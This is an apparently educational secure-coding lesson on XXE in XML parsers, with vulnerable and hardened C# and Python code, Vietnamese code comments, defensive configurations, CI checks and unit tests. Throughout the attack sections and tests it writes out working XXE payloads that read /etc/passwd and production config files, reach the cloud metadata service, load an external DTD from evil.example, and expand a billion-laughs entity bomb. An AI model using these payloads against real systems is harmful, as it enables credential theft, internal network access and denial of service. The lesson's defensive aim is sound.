What it is
XXE is when an XML parser processes external entities — a feature of the XML standard letting a document declare "substitute the contents of that file or URL here". The attacker uploads XML declaring an entity pointing at /etc/passwd or http://169.254.169.254/, and the parser fetches it for them.
Why you should care
XXE is the flaw where your library's defaults decide whether you have it, and your code looks entirely normal. No string is concatenated, no input is trusted — there is just one XmlDocument.Load(stream).
Three things keep it alive:
- It lives where you forget XML is involved. SVG is XML. DOCX/XLSX are ZIPs full of XML. A SAML assertion is XML. Sitemaps, RSS, SOAP, XML-RPC, and some config formats. An "upload avatar" field accepting
.svgis an XXE entry point. - Defaults differ by platform and version. Old .NET Framework resolved entities by default, .NET Core does not; Java's
DocumentBuilderFactoryresolves them; Python'sxml.etreeblocks<!ENTITY>from 3.x butlxmldepends on the arguments. So "we are not affected" is a statement true of exactly one version. - It gives you SSRF for free. An entity pointing at
http://turns the parser into an HTTP client inside your network.
And the fix is one line: disable DTDs. Almost no application needs external entities, which makes this the highest impact-per-effort fix in the whole server-side group.
How the attack works
The mechanism is a feature of the XML standard, not a coding error. The parser does exactly what the document asks — the problem is that the attacker wrote the document.
sequenceDiagram autonumber actor A as Attacker participant App as App (XML parser) participant FS as Filesystem / internal network A->>App: POST /api/import<br/><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><br/><r>&x#59;</r> Note over App: The parser sees the DTD and<br/>RESOLVES the entity — per the XML spec. App->>FS: open("/etc/passwd") FS-->>App: root:x:0:0:... Note over App: &x#59; is SUBSTITUTED with the file contents<br/>before your code ever sees the document. App-->>A: 200 — "Import failed for user root:x:0:0:..."The important part is the last step: the error message is usually the exfiltration channel. Your code never prints a file; it merely echoes back a value it believed was a username.
Four variants, worth knowing separately because "disable external entities" closes only three of them:
| Variant | Payload | Requires |
|---|---|---|
| File read | <!ENTITY x SYSTEM "file:///etc/passwd"> | The value reflected somewhere in the response |
| SSRF | <!ENTITY x SYSTEM "http://169.254.169.254/…"> | The parser able to make outbound calls |
| Blind / OOB | An external DTD exfiltrating via URL: %d;%p; | Only that the parser can fetch an external DTD |
| Billion laughs | Nested internal entities, ten levels | No external entity — so DtdProcessing must be Prohibit, not merely a null resolver |
That last row is the most-missed: <!ENTITY a "aaaa"> <!ENTITY b "&a;&a;&a;…"> nested ten deep expands to gigabytes in RAM. It is an internal entity, so every fix that only blocks external entities lets it through.
XInclude is the second bypass: where DTDs cannot be disabled (some APIs require them), <xi:include href="file:///etc/passwd" parse="text"/> does the same job with no DTD declaration at all.
Diagram description: Sequence diagram: the attacker POSTs an XML document declaring a DOCTYPE with a SYSTEM entity pointing at file:///etc/passwd. The app parser resolves that entity exactly as the XML spec says, opens the file on disk, receives the contents, and substitutes &x; with them before application code ever sees the document. The app echoes that value back in an error message, so /etc/passwd leaves through the error message itself.
Concrete example
A contacts-import endpoint taking XML — and the same payload through an SVG uploaded as an avatar.
POST /api/contacts/import HTTP/1.1Content-Type: application/xml <?xml version="1.0"?><!DOCTYPE contacts [ <!ENTITY leak SYSTEM "file:///app/appsettings.Production.json">]><contacts><contact><name>&leak;</name></contact></contacts>HTTP/1.1 400 Bad Request {"error":"Invalid contact name: {\"ConnectionStrings\":{\"Core\":\"Host=db;Password=S3cr…\"}}"}A 400, not a 200 — and the data still leaves. This is why block 6 has a layer about not echoing values into errors.
Same payload, different door — an avatar upload field that accepts .svg:
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/iam/">]><svg xmlns="http://www.w3.org/2000/svg"><text>&x;</text></svg>There is no endpoint called "import XML" here. There is an image upload field.
[HttpPost("/api/contacts/import")]public async Task<IActionResult> Import(CancellationToken ct){ // ❌ Không có chuỗi nào bị nối, không có input nào bị "tin". Chỉ có một mặc định // của thư viện, và trên .NET Framework mặc định đó GIẢI QUYẾT external entity. // Đây là lý do XXE sống dai: code trông hoàn toàn bình thường. var doc = new XmlDocument(); doc.Load(Request.Body); var names = doc.SelectNodes("//contact/name")!; var imported = 0; foreach (XmlNode n in names) { // Lúc này n.InnerText KHÔNG còn là "&leak;" — parser đã thay nó bằng nội dung // của /app/appsettings.Production.json trước khi dòng này chạy. if (n.InnerText.Length is 0 or > 80) // ❌ Kênh rò. Code không in file ra; nó echo lại một giá trị mà nó tưởng // là tên người dùng. Response là 400, và dữ liệu vẫn đi ra. return BadRequest(new { error = $"Invalid contact name: {n.InnerText}" }); await _contacts.AddAsync(n.InnerText, ct); imported++; } return Ok(new { imported });}from lxml import etree @app.post("/api/contacts/import")def import_contacts(): # ❌ Mặc định của lxml giải quyết entity. Khác với xml.etree của thư viện chuẩn # (chặn <!ENTITY> từ Python 3.x), nên "Python an toàn rồi" là câu chỉ đúng # cho một trong hai parser mà cùng một project thường dùng cả hai. doc = etree.fromstring(request.data) for name in doc.xpath("//contact/name/text()"): if len(name) > 80: # Và cùng kênh rò như bản C#: echo lại giá trị đã bị thay. return {"error": f"Invalid contact name: {name}"}, 400 add_contact(name) return {"ok": True}What happened in the wild
Facebook, 2014 — XXE through the careers application flow (Reginaldo Silva). An endpoint accepted DOCX/XML CV uploads; an external entity read server files and from there reached RCE. Facebook paid a $33,500 bounty, their largest at the time. Memorable because the entry point was a CV upload form, exactly block 2's argument.
The family of XXE bugs in Office and SVG handling libraries. Every library that reads DOCX/XLSX unzips and parses the XML inside, and that parser's defaults are something the library's users never see. This is why block 7 must test entry points not named XML: you cannot audit the defaults of a parser you do not know exists.
How to defend
Disable DTDs entirely — one line, and it closes all four variants
mandatoryAlmost no application needs external entities. So the correct fix is not "block external entities" but forbid DTDs, because that is the only thing that also stops billion laughs (an internal entity).
| Platform | Configuration |
|---|---|
| .NET | XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null } |
| Java | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) |
| Python lxml | etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False) |
| Go | encoding/xml does not resolve external entities — the default is already right |
| Node | libxmljs: { noent: false, nonet: true }; fast-xml-parser handles no DTDs |
DtdProcessing.Prohibit differs from Ignore: Ignore skips the declaration and parses on, Prohibit throws immediately. Choose Prohibit — a document carrying a DTD arriving at your API is a signal, not a detail to swallow silently.
And disable XInclude (XmlReaderSettings does not enable it by default, but some frameworks do): it is the bypass that needs no DTD.
/// <summary>/// Điểm vào DUY NHẤT để parse XML trong toàn bộ codebase.////// Một hàm chứ không một đoạn cấu hình copy đi khắp nơi, vì cấu hình đúng ở ba chỗ/// và sai ở chỗ thứ tư là trạng thái bình thường của mọi codebase sau sáu tháng —/// mỗi lời gọi XmlReader.Create mới là một cơ hội mới để quên.////// Cùng nguyên tắc với GetByIdAsync(id, userId) ở topic access-control: làm cho/// phương án sai KHÔNG TỒN TẠI trong API nội bộ, thay vì hy vọng người ta nhớ./// Một grep trong CI chặn mọi lời gọi trực tiếp không đi qua đây./// </summary>public static class SafeXml{ // 10MB. Trần kích thước là bắt buộc dù đã Prohibit: một tài liệu XML phẳng // 2GB không cần entity nào để làm chết process. private const long MaxBytes = 10L * 1024 * 1024; private static readonly XmlReaderSettings Settings = new() { // Prohibit, KHÔNG phải Ignore. Ignore bỏ qua khai báo rồi parse tiếp; Prohibit // ném lỗi ngay. Chọn Prohibit vì một tài liệu có DTD gửi tới API của ta là một // TÍN HIỆU đáng ghi lại, không phải một chi tiết cần bỏ qua im lặng. // // Và đây là dòng đóng BILLION LAUGHS: entity lồng nhau là entity NỘI BỘ, nên // XmlResolver = null một mình không chặn được nó. DtdProcessing = DtdProcessing.Prohibit, // Không có resolver nào: kể cả khi một API khác bật lại DTD, không có đường // nào ra filesystem hay ra mạng. XmlResolver = null, // Không nở entity, và không tin khai báo độ dài trong chính tài liệu. MaxCharactersFromEntities = 0, MaxCharactersInDocument = MaxBytes, IgnoreComments = true, IgnoreProcessingInstructions = true, CloseInput = false, }; public static XmlReader CreateReader(Stream input) => XmlReader.Create(new LimitedStream(input, MaxBytes), Settings); /// <summary>Đọc thành XDocument. Không có overload nào nhận XmlReaderSettings riêng.</summary> public static XDocument LoadDocument(Stream input) { using var reader = CreateReader(input); // LoadOptions.None: không giữ whitespace, không giữ base URI — base URI là // thứ một số resolver dùng để giải quyết đường dẫn tương đối. return XDocument.Load(reader, LoadOptions.None); }} // ── Endpoint ─────────────────────────────────────────────────────────────────[HttpPost("/api/contacts/import")]public async Task<IActionResult> Import(CancellationToken ct){ XDocument doc; try { doc = SafeXml.LoadDocument(Request.Body); } catch (XmlException ex) { // Tài liệu có DTD tới đây. Ghi lại — đó là một tín hiệu, không phải nhiễu. _logger.LogWarning(ex, "XML bị từ chối ở tầng parser (có thể là dò XXE)"); throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Malformed XML"); } var imported = 0; foreach (var name in doc.Descendants("contact").Elements("name").Select(e => e.Value)) { // Thông báo lỗi nói TRƯỜNG nào sai, không nói GIÁ TRỊ nào — lớp 3 của khối 6. // Giá trị vào log kèm correlation id; response chỉ mang id đó. if (name.Length is 0 or > 80) throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "A contact name is empty or too long"); await _contacts.AddAsync(name, ct); imported++; } return Ok(new { imported });}from lxml import etree MAX_BYTES = 10 * 1024 * 1024 class UnsafeXml(Exception): pass # Một parser dùng chung cho toàn bộ project — cùng lý do như SafeXml bên .NET:# cấu hình đúng ở ba chỗ và sai ở chỗ thứ tư là trạng thái bình thường sau sáu tháng.## Ba tham số phải CÙNG đặt, và bỏ bất kỳ cái nào cũng để hở một biến thể ở khối 3:_PARSER = etree.XMLParser( resolve_entities=False, # entity không được nở → đóng file-read và SSRF no_network=True, # không gọi ra ngoài → đóng blind/OOB load_dtd=False, # không đọc DTD → đóng billion laughs (entity NỘI BỘ) dtd_validation=False, huge_tree=False, # giữ trần mặc định về độ sâu và kích thước node) def parse(data: bytes): if len(data) > MAX_BYTES: # Trần kích thước vẫn cần dù đã tắt entity: một tài liệu phẳng 2GB không cần # entity nào để làm chết process. raise UnsafeXml("document too large") try: return etree.fromstring(data, parser=_PARSER) except etree.XMLSyntaxError as e: # Tài liệu có DTD tới đây. Ghi lại — đó là tín hiệu, không phải nhiễu. app.logger.warning("XML bị từ chối ở tầng parser (có thể là dò XXE): %s", e) raise UnsafeXml("malformed XML") from eOne factory for the whole codebase
mandatoryThis is what decides whether the fix survives. Configured correctly in three places and wrongly in the fourth is the normal state of any codebase after six months — because every new XmlReader.Create call is a new chance to forget.
What survives: one SafeXml.CreateReader(stream) helper, plus a merge-blocking grep for every direct call to XmlReader.Create/XmlDocument.Load/XDocument.Load. Same principle as GetByIdAsync(id, userId) in the access-control topic: make the wrong option not exist in your internal API, instead of hoping people remember.
Find every XML entry point, including the ones not named XML
The list to audit: .svg (image upload fields), .docx/.xlsx/.pptx (ZIPs of XML), .xml/.rss/.atom, SAML assertions, SOAP, XML-RPC, sitemaps, .plist, some config formats and some font formats.
For SVG specifically: if you only need to display an image, transcode to PNG server-side and drop the original. That also closes XSS in SVG (a <script> inside SVG runs when the image is opened as a document). If you must keep SVG, parse it through SafeXml and serve it from a separate origin.
Block egress and narrow file read permissions
This layer catches what layer 1 will miss: a new parser, in a new library, added by somebody else. The same NetworkPolicy as the SSRF topic — blocking 169.254.0.0/16 and the RFC1918 ranges — closes the SSRF variant and the blind/OOB variant (both need outbound calls).
And filesystem permissions: the process cannot read /etc/shadow, SSH keys, or its own configuration. readOnlyRootFilesystem: true plus a non-root user. This layer decides what XXE gets when layer 1 has a hole.
Never echo parsed values into error messages
The block 4 example exfiltrates through a 400 response. The code never prints a file — it echoes back a value it believed was a username, and that value had already been substituted with file contents by the parser.
So: a validation error names which field failed, not which value. The value goes to the log with a correlation id; the response carries only the id. Layer 3 because it does not stop XXE — it closes one channel, downgrading file-read to blind.
Verifying the fix
1. A unit test covering all FOUR variants from block 3. This is the most important point: the first three pass with a "block external entities" fix, and only the billion-laughs test distinguishes Prohibit from a mere XmlResolver = null. See the csharp / test tab.
2. A merge-blocking grep for every direct parser call — the check that enforces layer 1b:
grep -rnE 'XmlReader\.Create|XmlDocument|XDocument\.(Load|Parse)|XmlSerializer' \ --include='*.cs' src/ | grep -v 'SafeXml' \ && { echo "XML parser not routed through SafeXml — blocked"; exit 1; }exit 03. Test through the REAL entry points, not only the parser's unit tests. Upload a .svg carrying an XXE payload to the avatar field, and a .docx carrying one to the import field. This is the only check that catches a parser you did not know existed — and that is exactly the kind of parser behind the 2014 Facebook incident.
4. Prove the out-of-band callback never arrives. Stand up a collaborator (Burp Collaborator, or your own DNS log) and send the OOB payload. No request arriving means both layer 1 and layer 2 are closed:
curl -X POST https://staging.example.com/api/contacts/import \ -H 'Content-Type: application/xml' --data-binary @oob.xml# Then check the DNS/HTTP log: it MUST be empty5. Re-check the defaults after every library upgrade. Parser defaults change between versions, so this check belongs in CI, running after each dotnet restore/pip install — not once and forgotten.
public class SafeXmlTests{ private static Stream Xml(string s) => new MemoryStream(Encoding.UTF8.GetBytes(s)); /// <summary>Biến thể 1 — đọc file. Payload cơ bản, và test này pass với gần như mọi bản vá.</summary> [Fact] public void Rejects_external_entity_file_read() { var payload = """ <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <r>&x;</r> """; var ex = Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload))); // Ném vì DTD bị CẤM, không vì file đọc không được — thông điệp khác nhau và // sự khác nhau đó quan trọng: nếu nó ném ở bước mở file thì DTD đã được parse. Assert.Contains("DTD", ex.Message, StringComparison.OrdinalIgnoreCase); } /// <summary>Biến thể 2 — SSRF. Cùng cơ chế, đích khác.</summary> [Fact] public void Rejects_external_entity_http() { var payload = """ <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]> <r>&x;</r> """; Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload))); } /// <summary>Biến thể 3 — blind/OOB qua DTD ngoài, không cần giá trị hiện lại trong response.</summary> [Fact] public void Rejects_external_dtd() { var payload = """ <?xml version="1.0"?> <!DOCTYPE r SYSTEM "http://evil.example/x.dtd"> <r>test</r> """; Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload))); } /// <summary> /// Biến thể 4 — BILLION LAUGHS. Đây là test quan trọng nhất của bộ này. /// /// Ba test trên PASS với một bản vá chỉ đặt XmlResolver = null, vì cả ba dùng /// entity NGOÀI. Test này dùng entity NỘI BỘ, nên nó là test duy nhất phân biệt /// được DtdProcessing.Prohibit với "chặn entity ngoài". Bỏ dòng Prohibit ra thì /// đúng test này đỏ — và process ăn hết RAM trước khi nó đỏ. /// </summary> [Fact] public void Rejects_billion_laughs() { var payload = """ <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <lolz>&lol4;</lolz> """; Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload))); } /// <summary>XInclude — đường vòng không cần một khai báo DTD nào.</summary> [Fact] public void Does_not_process_xinclude() { var payload = """ <?xml version="1.0"?> <r xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </r> """; var doc = SafeXml.LoadDocument(Xml(payload)); // Không throw — XInclude là XML hợp lệ. Điều phải khẳng định là nó KHÔNG // được xử lý: thẻ còn nguyên, nội dung file không xuất hiện. Assert.DoesNotContain("root:x:0:0", doc.ToString()); Assert.Contains("include", doc.ToString()); } /// <summary>Cặp đôi: XML sạch vẫn parse được, nếu không bản vá là "chặn tất".</summary> [Fact] public void Accepts_clean_xml() { var doc = SafeXml.LoadDocument(Xml("<contacts><contact><name>Alice</name></contact></contacts>")); Assert.Equal("Alice", doc.Descendants("name").Single().Value); }}Common mistakes
| The "fix" | Why it is wrong |
|---|---|
XmlResolver = null without setting DtdProcessing | Closes EXTERNAL entities and lets billion laughs (internal) straight through |
DtdProcessing = Ignore | Skips the declaration and parses on. Only Prohibit throws — and a DTD arriving at your API is a signal worth having |
Blocklist the strings <!ENTITY / <!DOCTYPE | Other encodings (UTF-16, UTF-7), unusual whitespace, and XInclude needs neither string |
Fix the endpoints taking application/xml | There is still .svg, .docx, SAML, SOAP, sitemaps — and none of those endpoints is named XML |
| "We upgraded the runtime, the defaults are safe now" | True for the runtime's parser, not for a parser inside a third-party library. And defaults can change back on a later upgrade |
| Only checking the successful-parse path | The block 4 example exfiltrates through a 400. The channel is the error message, not the success path |
| Sanitise XML with a regex | XML is not a regular language. This is a problem regex loses on principle, not for lack of care |
The kind mistake: thinking XXE is a "file read" bug. The SSRF variant scans your internal network and reads the metadata service; billion laughs is a DoS that kills the process; and on some older parsers expect:// is RCE.
The location mistake: searching your own code. The real incident is usually inside a DOCX-reading library you added because you needed to read a spreadsheet.
Comments
Commenting needs an account with at least one completed lesson. That condition is what keeps this thread worth reading: every point belongs to someone who can be asked back, and reputation accrues over time.
You can still read every comment below without an account. Signing in brings you back to this exact spot, not to the top of the page.
Loading comments…